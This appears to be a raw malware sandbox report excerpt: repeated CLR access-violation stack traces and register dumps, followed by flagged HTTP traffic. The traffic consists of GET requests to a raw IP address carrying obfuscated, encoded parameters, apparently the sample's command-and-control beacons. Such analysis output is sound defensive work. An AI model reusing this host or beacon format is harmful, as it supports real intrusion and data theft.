ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 78 04 b9 50 b3 31 72 e8 25 ae 21 f8 8d 56 0c exception.instruction: mov edi, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x83272a2 registers.esp: 86633912 registers.edi: 53311100 registers.eax: 0 registers.ebp: 86634028 registers.edx: 137523173 registers.ebx: 46112272 registers.esi: 53283012 registers.ecx: 4018644	1
__exception__ March 14, 2023, 10:35 a.m.	stacktrace: 0x2ac20b8 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72ee2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x72f61838 LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x72f61737 mscorlib+0x2d36ad @ 0x721f36ad mscorlib+0x308f2d @ 0x72228f2d mscorlib+0x2cb060 @ 0x721eb060 0x75eb46c mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x34b13b @ 0x7226b13b mscorlib+0x30d3a5 @ 0x7222d3a5 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x72fef1cc LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x72fef164 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 78 04 b9 50 b3 31 72 e8 d4 9f 21 f8 8d 56 10 exception.instruction: mov edi, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x83280f3 registers.esp: 86633912 registers.edi: 48701712 registers.eax: 0 registers.ebp: 86634024 registers.edx: 137523173 registers.ebx: 46112272 registers.esi: 48200164 registers.ecx: 4018644	1
__exception__ March 14, 2023, 10:35 a.m.	stacktrace: 0x83280ed 0x2ac20b8 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72ee2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x72f61838 LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x72f61737 mscorlib+0x2d36ad @ 0x721f36ad mscorlib+0x308f2d @ 0x72228f2d mscorlib+0x2cb060 @ 0x721eb060 0x75eb46c mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x34b13b @ 0x7226b13b mscorlib+0x30d3a5 @ 0x7222d3a5 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x72fef1cc LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x72fef164 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 3b 42 04 7f 73 b9 50 44 a8 02 ba 6d 00 00 00 e8 exception.instruction: cmp eax, dword ptr [edx + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x8325dff registers.esp: 86633788 registers.edi: 49856128 registers.eax: 0 registers.ebp: 86633904 registers.edx: 0 registers.ebx: 46112272 registers.esi: 86633788 registers.ecx: 48763840	1
__exception__ March 14, 2023, 10:35 a.m.	stacktrace: 0x2ac20b8 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72ee2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x72f61838 LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x72f61737 mscorlib+0x2d36ad @ 0x721f36ad mscorlib+0x308f2d @ 0x72228f2d mscorlib+0x2cb060 @ 0x721eb060 0x75eb46c mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x34b13b @ 0x7226b13b mscorlib+0x30d3a5 @ 0x7222d3a5 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x72fef1cc LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x72fef164 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 78 04 b9 50 b3 31 72 e8 d4 9f 21 f8 8d 56 10 exception.instruction: mov edi, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x83280f3 registers.esp: 86633912 registers.edi: 49856128 registers.eax: 0 registers.ebp: 86634024 registers.edx: 137519452 registers.ebx: 46112272 registers.esi: 48775640 registers.ecx: 4018644	1
__exception__ March 14, 2023, 10:35 a.m.	stacktrace: 0x2ac2424 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72ee2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x72f61838 LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x72f61737 mscorlib+0x2d36ad @ 0x721f36ad mscorlib+0x308f2d @ 0x72228f2d mscorlib+0x2cb060 @ 0x721eb060 0x75eb46c mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x34b13b @ 0x7226b13b mscorlib+0x30d3a5 @ 0x7222d3a5 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x72fef1cc LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x72fef164 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 78 04 b9 50 b3 31 72 e8 0c 8d 21 f8 8d 56 0c exception.instruction: mov edi, dword ptr [eax + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x83293bb registers.esp: 86633912 registers.edi: 51460452 registers.eax: 0 registers.ebp: 86634024 registers.edx: 137523173 registers.ebx: 46112272 registers.esi: 50452744 registers.ecx: 4018644	1
__exception__ March 14, 2023, 10:35 a.m.	stacktrace: 0x83293b5 0x2ac2424 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72ee2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f LogHelp_TerminateOnAssert+0x12cf8 GetPrivateContextsPerfCounters-0x674a clr+0x81838 @ 0x72f61838 LogHelp_TerminateOnAssert+0x12bf7 GetPrivateContextsPerfCounters-0x684b clr+0x81737 @ 0x72f61737 mscorlib+0x2d36ad @ 0x721f36ad mscorlib+0x308f2d @ 0x72228f2d mscorlib+0x2cb060 @ 0x721eb060 0x75eb46c mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x34b13b @ 0x7226b13b mscorlib+0x30d3a5 @ 0x7222d3a5 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x72fef1cc LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x72fef164 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 3b 42 04 7f 73 b9 50 44 a8 02 ba 6d 00 00 00 e8 exception.instruction: cmp eax, dword ptr [edx + 4] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x8325dff registers.esp: 86633788 registers.edi: 48058256 registers.eax: 0 registers.ebp: 86633904 registers.edx: 0 registers.ebx: 46112272 registers.esi: 86633788 registers.ecx: 47517680	1

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (33 events)

suspicious_features	Connection to IP address	suspicious_request	GET http://87.251.77.205/Universal/2windows8Image/BaseJavascript0/Geo7flowerWp/4longpollsecureGenerator/6Linux7/VideoSecurevideo/0temporary/Http4protect/4Windowsdownloadspublic/JavascriptPhpVideosql/6Low/Game3/UpdateUniversal/video3/TrafficbasebasePipe/Generator9/trackDownloads/javascriptproton/ProvidervideomultiBase.php?lcM9Rlwz4r8y1usY2r3pk0JCzivB3d=Q15vnjyCemeZpp&7bUPIE3uWvSJKt0u=aSr668FzDpZCFadXUkUrnUUWHi9UZo&946d61af1f55e6f89d0682aa59e95cc5=56a1ceb2a8e5089df6b197e961927a8f&638d48ba9996f27aeb8500fecb12600a=AOzEWZwATNxcDMyQTZhRmZxY2NjZmMlNzYwkzNhlTZldTNhdTZ3YmM&lcM9Rlwz4r8y1usY2r3pk0JCzivB3d=Q15vnjyCemeZpp&7bUPIE3uWvSJKt0u=aSr668FzDpZCFadXUkUrnUUWHi9UZo
suspicious_features	Connection to IP address	suspicious_request	GET http://87.251.77.205/Universal/2windows8Image/BaseJavascript0/Geo7flowerWp/4longpollsecureGenerator/6Linux7/VideoSecurevideo/0temporary/Http4protect/4Windowsdownloadspublic/JavascriptPhpVideosql/6Low/Game3/UpdateUniversal/video3/TrafficbasebasePipe/Generator9/trackDownloads/javascriptproton/ProvidervideomultiBase.php?xXg4O6XL92ttIEp58nPrsQqYhS1z=yxc1v93Hoh1XY3CFsGxLpB&D4JgqIW6FheLEQ1WFwxUFYUTXnTyLDo=wx&db7fb5e1b0f1cf3f6904a97d8988b487=QZxkTM3cjMjNTYzMTYxI2YmZmZmNWZhJmYwEGN0cTNmZ2M3IDNhVmMzMDM1kjN2czMyYDO4kDN&638d48ba9996f27aeb8500fecb12600a=AMxQ2YwEmYjFWM3cDO0kzYjhTZyMjMiNDM1YGN1E2N2MjZ3kTM5UjY&47521bacdc488af1c704f1a288e37fec=d1nIiJmMjhTNwImZmVWN4AzYhFGN0MWY5ATZ4ADZ2EDNkVWNiZDOiBDNzIiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOis3W
suspicious_features	Connection to IP address	suspicious_request	GET http://87.251.77.205/Universal/2windows8Image/BaseJavascript0/Geo7flowerWp/4longpollsecureGenerator/6Linux7/VideoSecurevideo/0temporary/Http4protect/4Windowsdownloadspublic/JavascriptPhpVideosql/6Low/Game3/UpdateUniversal/video3/TrafficbasebasePipe/Generator9/trackDownloads/javascriptproton/ProvidervideomultiBase.php?xXg4O6XL92ttIEp58nPrsQqYhS1z=yxc1v93Hoh1XY3CFsGxLpB&D4JgqIW6FheLEQ1WFwxUFYUTXnTyLDo=wx&db7fb5e1b0f1cf3f6904a97d8988b487=QZxkTM3cjMjNTYzMTYxI2YmZmZmNWZhJmYwEGN0cTNmZ2M3IDNhVmMzMDM1kjN2czMyYDO4kDN&638d48ba9996f27aeb8500fecb12600a=AMxQ2YwEmYjFWM3cDO0kzYjhTZyMjMiNDM1YGN1E2N2MjZ3kTM5UjY&47521bacdc488af1c704f1a288e37fec=d1nI2gDZjZmZ5UDZiljNzE2N1YjZhVzY2I2NmNTMkJjY0ImZiBDZ0kDM0IiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOis3W
suspicious_features	Connection to IP address	suspicious_request	GET http://87.251.77.205/Universal/2windows8Image/BaseJavascript0/Geo7flowerWp/4longpollsecureGenerator/6Linux7/VideoSecurevideo/0temporary/Http4protect/4Windowsdownloadspublic/JavascriptPhpVideosql/6Low/Game3/UpdateUniversal/video3/TrafficbasebasePipe/Generator9/trackDownloads/javascriptproton/ProvidervideomultiBase.php?xXg4O6XL92ttIEp58nPrsQqYhS1z=yxc1v93Hoh1XY3CFsGxLpB&D4JgqIW6FheLEQ1WFwxUFYUTXnTyLDo=wx&db7fb5e1b0f1cf3f6904a97d8988b487=QZxkTM3cjMjNTYzMTYxI2YmZmZmNWZhJmYwEGN0cTNmZ2M3IDNhVmMzMDM1kjN2czMyYDO4kDN&638d48ba9996f27aeb8500fecb12600a=AMxQ2YwEmYjFWM3cDO0kzYjhTZyMjMiNDM1YGN1E2N2MjZ3kTM5UjY&ea2f520425b9639ae81fd5c491eec651=0VfiIiOiczYzkjZwMzNmBzNwUDZlFmM2kzM3IWYiF2NlRjZ0ATOiwiIiJmN2MjZlZGM0EmNjBzMlNDMwIWNmVGZ1kjN4EDZ0EmMmJzMlZWNmJiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOis3W
suspicious_features	Connection to IP address	suspicious_request	GET http://87.251.77.205/Universal/2windows8Image/BaseJavascript0/Geo7flowerWp/4longpollsecureGenerator/6Linux7/VideoSecurevideo/0temporary/Http4protect/4Windowsdownloadspublic/JavascriptPhpVideosql/6Low/Game3/UpdateUniversal/video3/TrafficbasebasePipe/Generator9/trackDownloads/javascriptproton/ProvidervideomultiBase.php?xXg4O6XL92ttIEp58nPrsQqYhS1z=yxc1v93Hoh1XY3CFsGxLpB&D4JgqIW6FheLEQ1WFwxUFYUTXnTyLDo=wx&db7fb5e1b0f1cf3f6904a97d8988b487=QZxkTM3cjMjNTYzMTYxI2YmZmZmNWZhJmYwEGN0cTNmZ2M3IDNhVmMzMDM1kjN2czMyYDO4kDN&638d48ba9996f27aeb8500fecb12600a=AMxQ2YwEmYjFWM3cDO0kzYjhTZyMjMiNDM1YGN1E2N2MjZ3kTM5UjY&19ba5fbb1230b3f30be35064149e6e70=0VfiAjbJxmSzIGMOhlWTFzVaBjTYVGV4ZEW6RmMi1EeGhlekNjYrVzVhhFeGhlNNtWS2k0QhBjRHVVa3lWS1R2MiVHdtJmVKl2Tpd2RkhmQGpVe5ITW6x2RSl2dplUavpWSvJFWZFVMXlVekdlWzZ1RWl2dplUavpWS6JESjJUMXlFbSNTVpdXaJVHZzIWd01mYWpUaPlWUVNVeWJzYWFzVZxmUzUVa3lWS1R2MiVHdtJmVKl2TplEWapnVWJGaWdEZUp0QMlGNyQmd1ITY1ZFbJZTS5pVdGdEV0Z0VaBjTsl0cJlmYzkTbiJXNXZVavpWSvJFWZFVMXlFbSNTVpdXaJB3ZaV3cYFnbzRUeiBnUXRmQClmY2x2RkBXNXFWbWdkUndmMaBHaFt0Z3F2Z0RlYuNna0AncMl2Tp1EWaVXOHF2d502Yqx2VUl2dplUavpWS6FzVZpmSXpFWKNETpRzRYlHeW1kWGVEVR5kVTVEeGhVd3ZEWjhHbJZTS5NWdWdlW55kMVl2dplUM0MkTp9maJVXOXFmeKhlWXRXbjZHZYpFdG12YHpUelJiOiczYzkjZwMzNmBzNwUDZlFmM2kzM3IWYiF2NlRjZ0ATOiwiIiJmN2MjZlZGM0EmNjBzMlNDMwIWNmVGZ1kjN4EDZ0EmMmJzMlZWNmJiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOis3W
suspicious_features	Connection to IP address	suspicious_request	GET http://87.251.77.205/Universal/2windows8Image/BaseJavascript0/Geo7flowerWp/4longpollsecureGenerator/6Linux7/VideoSecurevideo/0temporary/Http4protect/4Windowsdownloadspublic/JavascriptPhpVideosql/6Low/Game3/UpdateUniversal/video3/TrafficbasebasePipe/Generator9/trackDownloads/javascriptproton/ProvidervideomultiBase.php?xXg4O6XL92ttIEp58nPrsQqYhS1z=yxc1v93Hoh1XY3CFsGxLpB&D4JgqIW6FheLEQ1WFwxUFYUTXnTyLDo=wx&db7fb5e1b0f1cf3f6904a97d8988b487=QZxkTM3cjMjNTYzMTYxI2YmZmZmNWZhJmYwEGN0cTNmZ2M3IDNhVmMzMDM1kjN2czMyYDO4kDN&638d48ba9996f27aeb8500fecb12600a=AMxQ2YwEmYjFWM3cDO0kzYjhTZyMjMiNDM1YGN1E2N2MjZ3kTM5UjY&47521bacdc488af1c704f1a288e37fec=d1nImZGN0MmZkVDZlJTNhRzY1EzM1UmM0QjNyMWM0EzM3MDM1ATNyIjN1IiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOis3W&ea2f520425b9639ae81fd5c491eec651=0VfiIiOiczYzkjZwMzNmBzNwUDZlFmM2kzM3IWYiF2NlRjZ0ATOiwiImZGN0MmZkVDZlJTNhRzY1EzM1UmM0QjNyMWM0EzM3MDM1ATNyIjN1IiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOisHL9JSOx4WSvkUaPlWQE90aWRkWrJEVNdXSU5ENrRlWqZ0RaNTWH1EboRlWoZEVZp3Y61kMnpmWyEFVPhXUy40dFpWSzlUeQl2bqlEMJJjTspkMZxmR6lVMNpmT3NGRaVTR6lVaopmWrJlaO1mTU1keV1WTxUkeOJTRE9UbopnT0k0QMlWQqlkNJlWWwkleZNTRtlFbWdkW3F1Va1mRX1kaoRkTykVbORTRtlFaKpWTrxmaNlXSX50MFd0T4VVbZl2cu9UaFdEZoJVRkRjVtl0cVp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaV1GZwJ1MZJkSp9UaNhFZwY0RkRFbIRGcahVYw40VRl2dplUeWJjWoVzVZ5kQTJGaKNjW2pESVl2bql0M5ckW1xmMWVlTVFVa3lWSPpUaPlGMXllaKdlWY5EWhl2dplkWKl2TpVVbiZHaHNmdKNTWwFDMjBnSDxUarlmYzkTbiJXNXZ1bBlmYzkTbiJXNXZVavpWSsFzVZ9kVGVFRKNETptWaiNTOtJmc1clVvFUaiNTOtJmc1clVp9maJxWMXl1TWZUVIp0QMl2aslkNJlmYwFzRaJkTYFWa3lWSp9maJhkRFZVa3lWSwwWbRdWUq50Z0UUSzZUbiZHbyMmeW1mW2pESVd2YElkekNjYrVzVhhlSp9UaJhlWXVzVhhlSDxUOKNkYxkzVaRVOTlFcOhVUp9maJxWNyImNWdlYwJlbJNXSD10dBRUT3FkaJZTSDJGaSNzY2JkbJNXSTlFbKNjYMJ0QhBjVzIGVCNFTnF1VaBnWXFmaWd0Y6J0QkZXNrlkNJlnW5lTbJNXS55kMjRUT1NmaNh3dT9UMVpmT1NmeNl2bqlka5ckYpdXaJNFdrlkNJNVZ5JlbiFTOykVa3lWSzZ1MixmTslkNJlmY2xmMaxmSul0cJNFZuFTaiZHZzI2TKl2TptGSkBnTtl0cJlWTxUkaMBTTU1UdnRUT5RzUONTRqlkNJN0YwpUelZTS5JWb1c1U3x2aJNXSp1UeRNzYsJlbJZTSTpFdG1GV5ZlMjZlSDxUaNVUV0lkaNVlTWJVVKl2TpV1VihWNwEVUKNETp1keNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiczYzkjZwMzNmBzNwUDZlFmM2kzM3IWYiF2NlRjZ0ATOiwiIjhjM4UWO5cjY0MzM5gTO5MjYjBTO1UDZ0Y2MwMjZhhTMyYDN4QmYiJiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOis3W
suspicious_features	Connection to IP address	suspicious_request	GET http://87.251.77.205/Universal/2windows8Image/BaseJavascript0/Geo7flowerWp/4longpollsecureGenerator/6Linux7/VideoSecurevideo/0temporary/Http4protect/4Windowsdownloadspublic/JavascriptPhpVideosql/6Low/Game3/UpdateUniversal/video3/TrafficbasebasePipe/Generator9/trackDownloads/javascriptproton/ProvidervideomultiBase.php?xXg4O6XL92ttIEp58nPrsQqYhS1z=yxc1v93Hoh1XY3CFsGxLpB&D4JgqIW6FheLEQ1WFwxUFYUTXnTyLDo=wx&db7fb5e1b0f1cf3f6904a97d8988b487=QZxkTM3cjMjNTYzMTYxI2YmZmZmNWZhJmYwEGN0cTNmZ2M3IDNhVmMzMDM1kjN2czMyYDO4kDN&638d48ba9996f27aeb8500fecb12600a=AMxQ2YwEmYjFWM3cDO0kzYjhTZyMjMiNDM1YGN1E2N2MjZ3kTM5UjY&47521bacdc488af1c704f1a288e37fec=d1nI1gDNkdTM1MzYyMDM2I2MiNzNkRDNiRTOxMGZjNDZhBTOmJzMmNGZ1IiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOis3W
